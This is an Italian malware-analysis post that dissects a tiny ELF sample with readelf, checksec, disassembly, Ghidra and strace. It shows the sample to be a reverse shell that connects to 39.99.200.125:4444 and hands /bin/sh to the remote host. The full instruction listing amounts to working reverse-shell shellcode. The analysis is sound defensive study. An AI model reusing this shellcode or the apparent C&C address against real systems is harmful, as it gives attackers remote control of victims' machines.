SPAGHETTI HACKER

  1. ELF MALWARE1 - bash
    log.00c

    Tags
    malware
    By AKIRA BASHO il 7 Jan. 2023
     
    0 Comments   60 Views
    .
    zWBPbuL

    readelf -l malware.sample

    Elf file type is EXEC (Executable file)
    Entry point 0x400078
    There is 1 program header, starting at offset 64

    Program Headers:

    Type Offset VirtAddr PhysAddr
    FileSiz MemSiz Flags Align

    LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
    0x00000000000000c2 0x000000000000010c RWE 0x1000

    remnux@remnux:$ strings malware.sample
    Zj*X
    /bin/sh

    remnux@remnux:$ readelf -s ./malware.sample

    Dynamic symbol information is not available for displaying symbols

    remnux@remnux:$ checksec ./malware.sample

    Arch: amd64-64-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX disabled
    PIE: No PIE (0x400000)
    RWX: Has RWX segments

    ì;analisi statica + controllo protezioni; gli header delle sezioni sono modificati/strippati; il binario è linkato staticamente;

    148: entry0 ();
    0x00400078 6a29 push 0x29 ;')' ; 41
    0x0040007a 58 pop rax
    0x0040007b 99 cdq
    0x0040007c 6a02 push 2 ;2
    0x0040007e 5f pop rdi
    0x0040007f 6a01 push 1 ;1
    0x00400081 5e pop rsi
    0x00400082 0f05 syscall ;41 socket

    ;syscall 41 = socket (0x00000002, 0x00000001, 0x00000000)

    ;int socket(int domain, int type, int protocol);

    ;questa chiamata si traduce in un stream socket con il protocollo TCP che fornisce la comunicazione sottostante.

    remnux@remnux:/usr/include$ view x86_64-linux-gnu/bits/socket.h

    #define AF_INET PF_INET
    #define PF_INET 2

    bits/socket_type.h: SOCK_STREAM = 1,

    ;l'istruzione xchg mette in rdi il file descriptor ritornato dalla socket che è il numero 3

    0x00400084 4897 xchg rdi, rax
    0x00400086 48b90200115c. movabs rcx, 0x7dc863275c110002

    ;movabs carica in rcx il valore immediato estendendo il segno che dovrebbe essere 0, in quanto 02, l'ultimo byte caricato, ha byte più significativo a 0, positivo;

    ;per caricare un simbolo come valore a 64 bit, è necessario utilizzare l'istruzione movabs

    ;0x7dc863275c110002

    ;la struttura che contiene l'ip di quel che potrebbe essere il C&C (Command&Control) e la porta alla quale la syscall connect deve provare a connettersi

    ;7dc86327 --> ip
    ;5c11 --> porta
    ;0002 --> AF_INET

    ;si può ricavare anche con strace; avevo lanciato fakedns e inetsim sulla mia REMnux in modo da bloccare le richieste dns e redirigere le connessioni verso falsi servizi e/o analizzarle con Wireshark; il tentativo di connessione è verso un ip, quindi fakedns è bypassato, ma avevo cmq messo la VM in modalità isolata

    connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("39.99.200.125")}, 16)
    5c11 6327 7dc8 --> 39.99.200.125 4444
    0002 --> AF_INET

    0x00400090 51 push rcx
    0x00400091 4889e6 mov rsi, rsp
    0x00400094 6a10 push 0x10 ;16
    0x00400096 5a pop rdx
    0x00400097 6a2a push 0x2a ;'*' ; 42
    0x00400099 58 pop rax
    0x0040009a 0f05 syscall ;42 connect

    ;int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ;La chiamata di sistema connect() collega il socket a cui fa riferimento il descrittore di file sockfd all'indirizzo specificato da addr. L'argomento addrlen specifica la dimensione di addr.

    0x0040009c 6a03 push 3 ;3
    0x0040009e 5e pop rsi
    0x0040009f 48ffce dec rsi
    0x004000a2 6a21 push 0x21 ;'!' ; 33
    0x004000a4 58 pop rax
    0x004000a5 0f05 syscall ;33 dup2
    0x004000a7 75f6 jne 0x40009f

    ;si evidenzia anche che jne (salta se non uguale) viene eseguita se [flag di zero]=0; quindi salterà quando rsi sarà !=0; in teoria l'istruzione jne in questa situazione dovrebbe essere relativa a dec rsi; quando rsi raggiunge lo zero, setta il flag di zero a 1 e non salta;

    ;la funzione dup2() crea newfd come copia di oldfd, chiudendo prima newfd se e' necessario. Il vecchio e nuovo file descriptor possono essere utilizzati interscambiabilmente. Essi condividono locks, puntatiori di file position e flag, ad eccezione del flag close-on-exec.

    ;int dup2(int oldfd, int newfd);

    ;dup2(3, 2) = 2
    ;dup2(3, 1) = 1
    ;dup2(3, 0) = 0

    ;è un do while, il file descriptor 3 è quello relativo alla connessione verso ll C&C

    ;0: stdin
    ;1: stdout
    ;2: stderr

    ;stdin, stdout, stderr sono collegati al file descriptor 3; c'è quindi l'esecuzione di una shell, che il C&C può utilizzare

    ;la chiamata di sistema dup2() esegue la stessa operazione di dup(), ma invece di utilizzare il descrittore di file inutilizzato con il numero più basso, utilizza il numero di descrittore di file specificato in newfd. Se il descrittore di file newfd era precedentemente aperto, viene chiuso silenziosamente prima di essere riutilizzato.

    0x004000a9 6a3b push 0x3b ;';' ; 59
    0x004000ab 58 pop rax
    0x004000ac 99 cdq
    0x004000ad 48bb2f62696e. movabs rbx, 0x68732f6e69622f ;'/bin/sh'
    0x004000b7 53 push rbx
    0x004000b8 4889e7 mov rdi, rsp
    0x004000bb 52 push rdx
    0x004000bc 57 push rdi
    0x004000bd 4889e6 mov rsi, rsp
    0x004000c0 0f05 syscall ;59 execve /bin/sh

    ;immondizia

    0x004000c2 0000 add byte [rax], al
    0x004000c4 0000 add byte [rax], al
    0x004000c6 0000 add byte [rax], al

    /* WARNING: Control flow encountered bad instruction data */
    void FUN_00400078(void)

    {
    long lVar1;

    syscall(); // socket
    syscall(); // connect
    lVar1 = 3;
    do {
    lVar1 = lVar1 + -1;
    syscall(); // dup3
    } while (lVar1 != 0);

    syscall(); // execve /bin/sh
    DAT_0000003b = DAT_0000003b + -0x79;
    /* WARNING: Bad instruction - Truncating control flow here */
    halt_baddata();
    }

    ;ghidra decompiler

    remnux@remnux:$ strace ./malware.sample
    execve("./malware.sample", ["./malware.sample"], 0x7ffde3302640 /* 50 vars */) = 0
    socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3

    connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("39.99.200.125")}, 16) = -1 ENETUNREACH (Network is unreachable)
    dup2(3, 2) = 2
    dup2(3, 1) = 1
    dup2(3, 0) = 0

    execve("/bin/sh", ["/bin/sh"], NULL) = 0
    brk(NULL)

    ;trace delle syscall chiamate dal malware

    Hybrid Analysis: https://www.hybrid-analysis.com/sample/ecae...

    VirusTotal: https://www.virustotal.com/gui/file/ecae...

    ;analisi online del malware su hybrid-analysis e virustotal

    Edited by Dr. Pepper - 3/12/2023, 13:57
      Share  
     
    .